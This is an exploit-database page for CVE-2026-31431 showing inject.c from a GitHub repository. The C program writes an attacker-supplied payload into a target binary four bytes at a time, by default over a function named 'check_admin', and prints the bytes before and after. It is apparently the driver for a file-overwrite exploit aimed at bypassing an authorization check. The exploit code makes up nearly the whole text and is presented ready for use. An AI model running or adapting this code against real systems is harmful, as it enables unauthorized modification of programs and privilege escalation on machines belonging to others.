Exploit databaseDownload repository ZIP
GH-289daa3afd995d3b0f14e2b99fef0779
tematemaru/cve-2026-31431-simple-test
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files10
tematemaru/cve-2026-31431-simple-testRevision 60abd2957f91
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
inject.c
C · 2,884 bytes#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include "utils/inject_four_bytes.h"
#include "utils/hexdump.h"
#include "utils/find_function_offset.h"
static void write_bytes(const char *path, off_t offset,
const unsigned char *data, size_t len)
{
size_t padded = len;
if (padded % 4)
padded += 4 - (padded % 4);
for (size_t i = 0; i < padded; i += 4)
{
unsigned char chunk[4] = {0};
size_t copy = (len - i) < 4 ? (len - i) : 4;
memcpy(chunk, data + i, copy);
long rc = inject_four_bytes(path, offset + (off_t)i, chunk);
if (rc == -999)
{
fprintf(stderr, "[!] inject_four_bytes failed at offset 0x%lx\n", offset + i);
break;
}
}
}
int main(int argc, char **argv)
{
if (argc < 3)
{
fprintf(stderr, "Usage: %s <target_binary> <payload_file> [offset|function_name]\n", argv[0]);
return 1;
}
const char *target = argv[1];
const char *payload_file = argv[2];
// Определяем смещение
long offset = -1;
if (argc >= 4)
{
char *end;
offset = strtol(argv[3], &end, 0);
if (*end != '\0')
{
offset = find_function_offset(argv[1], argv[3]);
}
}
else
{
offset = find_function_offset(argv[1], "check_admin"); // default
}
if (offset < 0)
{
fprintf(stderr, "[!] Invalid offset or function not found.\n");
return 1;
}
// Загрузка пейлоада
FILE *pf = fopen(payload_file, "rb");
if (!pf)
{
perror("fopen payload");
return 1;
}
fseek(pf, 0, SEEK_END);
long fsize = ftell(pf);
if (fsize <= 0)
{
fprintf(stderr, "[!] Empty payload.\n");
fclose(pf);
return 1;
}
rewind(pf);
unsigned char *payload = malloc(fsize);
if (!payload)
{
perror("malloc payload");
fclose(pf);
return 1;
}
if (fread(payload, 1, fsize, pf) != (size_t)fsize)
{
perror("fread payload");
free(payload);
fclose(pf);
return 1;
}
fclose(pf);
printf("[+] Target: %s\n", target);
printf("[+] Offset: 0x%lx (%ld)\n", offset, offset);
printf("[+] Payload loaded: %ld bytes\n", fsize);
// Оригинальные байты
int fd = open(target, O_RDONLY);
if (fd >= 0)
{
unsigned char before[16];
if (pread(fd, before, sizeof(before), offset) == sizeof(before))
{
printf("[*] Original bytes:\n");
hexdump(before, sizeof(before), offset);
}
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
close(fd);
}
printf("[*] Injecting...\n");
write_bytes(target, (off_t)offset, payload, fsize);
printf("[+] write_bytes finished\n");
// Проверка
fd = open(target, O_RDONLY);
if (fd >= 0)
{
unsigned char after[16];
if (pread(fd, after, sizeof(after), offset) == sizeof(after))
{
printf("[*] Bytes after injection:\n");
hexdump(after, sizeof(after), offset);
}
close(fd);
}
free(payload);
printf("[+] Done.\n");
return 0;
}